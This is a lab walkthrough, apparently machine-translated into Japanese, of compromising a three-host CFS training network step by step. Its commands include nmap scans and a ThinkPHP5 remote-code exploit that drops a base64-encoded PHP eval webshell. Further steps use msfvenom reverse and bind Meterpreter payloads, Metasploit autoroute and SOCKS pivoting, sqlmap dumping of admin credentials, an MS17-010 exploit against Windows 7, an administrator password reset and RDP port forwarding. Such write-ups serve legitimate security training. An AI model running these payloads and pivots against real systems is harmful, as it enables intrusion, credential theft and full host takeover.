[イントラネット侵入] CFS 3 層ターゲットマシン侵入
ネットワークトポロジー
3 つのターゲット ホストのトポロジ図が図に示されており、攻撃マシンのネットワーク セグメントは次のとおりです。192.168.1.1/24
- ターゲット1 Centos7
- ターゲット2 無料
- ターゲット3 Win7
ターゲット マシンへの侵入プロセスは次のとおりです。
攻撃マシン kaili を通じてtarget1 の 192.168.1.132 を攻撃します192.168.1.129
。target2 と 3 は外部ネットワークに接続できず、内部ネットワークでのみ通信できます。したがって、最初に target1 に侵入し、次に vmnet2 ネットワーク カードを通じて target2 を攻撃する必要があります。target2 を倒した後、target2 を踏み台にして target3 を攻撃します。
対象機械の構造
- 回:192.168.1.129(vmnet1)
- ターゲット1:192.168.1.132(vmnet1)、192.168.22.130(vmnet2)
- ターゲット2:192.168.22.128(vmnet2)、192.168.33.128(vmnet3)
- ターゲット3:192.168.33.33(vmnet3)
その他についてはここでは説明しません。https://blog.csdn.net/qq_61237064/article/details/125602997 を参照してください。
ターゲット1
0x01.nmap ホスト検出
kaili で nmap を使用して、どのホストが vmnet1 ネットワーク セグメント上にあるかを確認します。
nmap -T4 -sP 192.168.1.1/24
1 つ見つかりました: 192.168.1.132
0x02. ポートスキャン
nmap -T4 -A -p 1-65535 192.168.1.132
ポート80が開いています
0x03.ThinkPHP5 RCE の脆弱性によりシェルが使用される
ブラウザアクセスはThinkPHP5.0バージョンですが、抜け穴があります
ツールを直接使用して脆弱性を検出してみましょう。
抜け穴があり、コマンドを直接実行し、そこにシェルを書き込みます($_POST
ここではフィルタリングされているため、バイパスするにはbase64エンコーディングを使用します)。
echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==" | base64 -d > x.php
蟻の剣つながり:
txt ファイル内に 2 つのフラグが見つかりました
ifconfig
別のネットワーク セグメント 22 を実行して見つけました192.168.22.130
。
それならイントラネットもあるはずだ
0x04. msf バックドア (reverse_tcp) リバース接続をアップロードしてホスト権限を取得します
イントラネットがある場合は、msf ツールを使用します。
最初にmsfevnom
エルフを生成する馬を使用し、ここでは逆の接続を行います (Target1 を使って kali を接続します)。
uname -a
Target1 のシステムを確認するために使用します。
(www:/www/wwwroot/ThinkPHP/public) $ uname -a
Linux localhost.localdomain 3.10.0-1062.1.1.el7.x86_64 #1 SMP Fri Sep 13 22:55:44 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
linux64
次に、elf バックドア ホースを生成し、自分の IP アドレスを確認し、自分の IP アドレスとターゲット マシンのシステム タイプに従って、対応するバックドア ファイルを生成します。
# 根据target1操作系统类型生成elf后门,lhost为kali ip
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=4444 -f elf > shell.elf
次に、kali でモニタリング モジュールを実行して、マシンのポート 4444 をリッスンします。
# 在kali中运行监听模块
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.129
set lport 4444
exploit
次に、エルフの馬を target1 にアップロードし、権限を設定して、次を実行します。
chmod +x shell.elf
./shell.elf
この時点で、Target1 ドローンはすでに msf を起動しています。
イントラネットへの浸透を始めましょう:
イントラネットの浸透
ターゲット2
ここで、ネットワーク セグメント設定により、kali と Target1 は同じネットワーク セグメント内のホストであるため、nmap を介して Target2 ターゲット マシンの IP を直接スキャンすることはできません。これらを直接スキャンできます。ただし、スキャンされた Target2 はイントラネット ネットワーク セグメント内にあるため、直接スキャンすることはできません。ただし、Target1 の vmnet2 ネットワーク カードが Target2 と同じネットワーク セグメントにあることがわかっているため、Target1 の vmnet2 ネットワーク カードを介して Target2 を呼び出すことができ、Target1 のプロキシをハングできます。
(1) 経路情報の検出
情報検出には msf に付属するモジュールを使用できます。
- ネットワークインターフェースを調査するためのモジュール (get_local_subnets)
- ルーティングモジュールを表示する (autoroute -p)
# 探测子网信息,可以看到存在22网段
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.1.0/255.255.255.0
Local subnet: 192.168.22.0/255.255.255.0
# 查看路由信息,发现还没有路由
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] No routes have been added yet
**ルーティング: **ルーティングとは、ルーターがインターフェイスからデータ パケットを受信し、データ パケットの宛先アドレスに従ってそれを転送し、別のインターフェイスに転送するプロセスを指します。これは、必要なデータを送信することと同じです。最初にルートに送信し、次にターゲットに送信します。
ルートを設定し、Target1 の vmnet1 ネットワーク セグメント経由でリクエストを送信し、それを vmnet2 ネットワーク セグメントにリダイレクトして転送することで、kali の msf が 22 ネットワーク セグメント (Target2) と通信できるようになります。
したがって、ルートを設定できます。
静的ルーティング設定
MSF の autoroute モジュールは、MSF フレームワークに付属するルーティングおよび転送機能であり、その実装プロセスは、MSF フレームワークが取得した Meterpreter Shell を基に「イントラネット」へのルートを追加し、 MSF を直接使用して元のルートにアクセスすることです。イントラネット リソースは、ルートが到達可能である限り、MSF を使用して検出できます。
# 设置路由
run autoroute -s 192.168.22.0/24
# 查看
run autoroute -p
(2)msfプロキシ設定
ルーティングには欠陥があり、msf によって確立されたセッションでのみ使用できます。新しい端末を開いて nmap を使用してスキャンしても、依然としてスキャンできないため、msf のプロキシを設定する必要があります
msf には独自のプロキシ モジュールがあります
auxiliary/server/socks_proxy
msf の現在のセッションが、Target1 のシェル上に確立された session1 であるとします。ルートが確立されると、22 のネットワーク セグメントと通信できるようになります。次に、ツールを使用してセッション 1 を通じてネットワーク セグメント 22 を攻撃したいと考えていますが、この時点ではどうすればよいでしょうか?
Target2
この場合、プロキシを設定する必要があります。このプロキシを通じて、他の人に接続用のポートを提供し、このマシンを使用して Kali ポートに接続し、 22 のネットワーク セグメントにアクセスできるようになります。
# 先切换到控制台
background
# 配置socks5代理
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set srvhost 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set srvport 1080
msf6 auxiliary(server/socks_proxy) > run
kali で構成ファイルvim /etc/proxychains.conf
を変更します。proxychains
kali の IP と構成したばかりのポートを書き込みます
次に、nmap を使用してポートを検出します (注: nmap を使用する場合、proxychains
msf プロキシを使用するにはポートをその前に追加する必要があります)。
proxychains nmap -T4 -p 80 192.168.22.128
ポート80が開いています
ブラウザーに Socks5 プロキシを設定します。
訪問:
bagecms
構築されたウェブサイトです
(3) Bagcms-sql インジェクションの脆弱性を利用して、管理者はバックグラウンドでログインしてシェルを取得します。
SocksCap
ここでは、他のツールにプロキシを追加できる便利なツールを使用できます。
スキャンしてrobots.txt
管理者のパスを教えてくれました
#
# robots.txt for BageCMS
#
User-agent: *
Disallow: /admini/
Disallow: /index.php?r=admini*
情報収集、ソースコードのヒント: SQL インジェクションポイント: /index.php?r=vul&keyword=1
--proxy
sqlmap を使用して直接実行できますが、パラメータまたは kali の前に追加できるプロキシを接続する必要がありますproxychains
。注入ポイントを直接指定できます。-p keyword
# 爆一下数据库名称
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword --dbs
或
sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" --proxy=socks5://192.168.1.129:1080 -p keyword --dbs --batch
# 爆破 bagecms 库下的表
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D "bagecms" --tables T "bage_admin" --batch
# 爆破 bage_admin 表的字段
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D "bagecms" -T "bage_admin" --columns --batch
# 把 admin的账号密码给 dump出来
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password --dump
# 测试了--is-dba,不是高权限,那就不尝试--os-shell了
管理者アカウントとパスワードを取得します admin:123qwe
バックグラウンドでログインしてフラグを取得します。
tag/index.php
馬を書く
次に、SocksCap
ツールを使用してエージェントを切断し、Ant Sword 接続を開きます。
URL に注目してください:http://192.168.22.128/?r=tag
(4) msf バックドア (bind_tcp) フォワード接続をアップロードして、ubuntu ホスト権限を取得します
シェルを取得したら、前と同様に msf を使用してバックドアを生成します。ただし、Target2 はネットワークの外に出ることができないため、ここでは少し異なります。
したがって、今回は前方接続、つまりkali
接続を解除することによってのみ接続できます。Target2
Ant Sword で target2 のオペレーティング システムを確認してみましょう。
uname -a
64ビットオペレーティングシステムであることがわかります
したがって、elf フォワード接続のバックドアが kaili で生成されます。
# 生成一个正向连接后门(因为内网主机无法直接与本机通信,因此无法建立反向连接,需要本机通过代理连接到目标机)
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > tgt2.elf
target2 にアップロードし、実行権限を変更します。
chmod +x tgt2.elf
./tgt2.elf
MSF でモニタリングをオンにし、Target2 との接続を確立します。ここで注意すべき点は、前回プロキシが使用した reverse_tcp がモニターとして MSF であるため、Target1 が接続できるようになり、今回プロキシが使用したbind_tcp は次のとおりです。 Target2 をモニターとして使用します。Target2 に接続する必要があります。ロジックはまったく逆です。
同様に、msf を使用して別の端末を開いて監視を開始する場合、msf の新しく開かれた端末の前の端末の構成は使用されないことに注意してください。
今回エージェントが使用するbind_tcpがモニターとしてTarget2の場合、イントラネットのtarget2に転送接続する必要があります。
したがって、open を直接使用することはできませんが、open msf をmsfconsole
使用する必要があります。プロキシを経由する必要があります。そうしないと、msf は Target2 にアクセスできず、bind_tcp に接続できません。proxychains
これが写真です
(実際には、前のターミナルを使用するだけで、プロキシが構成されており、bind_tcp に直接接続できます)
ここで使用法を示してみましょうproxychains
:
proxychains msfconsole
# 本机MSF执行命令
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.22.128
set LPORT 3333
run
target2 は msf を正常に起動しました
その後、情報収集を続けて、次のものを使用できます。
# 获取网络接口:
run get_local_subnets
# 添加路由地址:
run autoroute -s 192.168.33.0/24
# 查看路由地址:
run autoroute -p
ここで、次のメソッドも使用できます。
shell
# 转化为交互式
python -c 'import pty;pty.spawn("/bin/bash");'
# 查看网络信息
ifconfig
33 ネットワーク セグメントに IP が表示されましたが、まだイントラネットがあります
ターゲット3
0x01.ルートを追加
Target2 (ubuntu) では、ubuntu ホストがネットワーク セグメント 22 とネットワーク セグメント 33 の両方にあることが検出されたため、前の手順を繰り返し、ルートを追加し、ルートを介してプロキシ経由で kali から Target2 にトラフィックを送信できます。セグメントは 33 ネットワーク セグメントにリダイレクトされます
# 添加指向33网段的路由
run autoroute -s 192.168.33.0/24
# 查看
run autoroute -p
ルートが正常に追加されました
nmap は、target3 ターゲット マシンの開いているサービスをスキャンします。
(新しいターミナルを開いた後、新しく開いた msf ターミナル上でプロキシを構成し、それを変更する必要があります/etc/proxychains.conf
)
root@kali:~# proxychains4 nmap -Pn -sT 192.168.33.33
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect
スキャンしてポート 445 と 3389 を開きます
0x02. ms17-010 Eternal Blue 脆弱性を利用してシェルを入手する
スキャン結果から、これが win7 システムであり、ポート 445 と 3389 が開いていることが簡単にわかります。
ポート 445 に ms17-010 Eternal Blue 脆弱性が存在します。
したがって、msf で ms17-010 を使用して次のように入力してみることができます。
search ms17-010
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.33.33
set LPORT 6666
run
使用に成功すると、出力シェルがコマンド ラインに入ります。
出力します:netstat -ant
どのポートが利用可能であるかを確認します:
ポート 3389 が表示されたので、リモート デスクトップに接続できます。
まず、net user
どのユーザーが存在するかを確認するために使用して、存在することを確認しましょう。administrator
入力します:net user administrator 123456
パスワードを変更します
次に、SocksCap
オープン接続リモート デスクトップ プログラムを使用します。mstsc.exe
(プロキシを新しいものとして設定することに注意してください)、「ip:192.168.33.33」と入力して接続します。
無事に勝ちました
別の接続方法もあります:ポート転送を使用します。
portfwd add -l 7777 -p 3389 -r 192.168.33.33
192.168.33.33:3389 を kali のポート 7777 に転送し、直接接続します。
参考:
https://www.cnblogs.com/1vxyz/p/17080748.html
https://blog.csdn.net/qq_61237064/article/details/125602997
https://teamssix.com/191021-211425.html#toc-Heading-9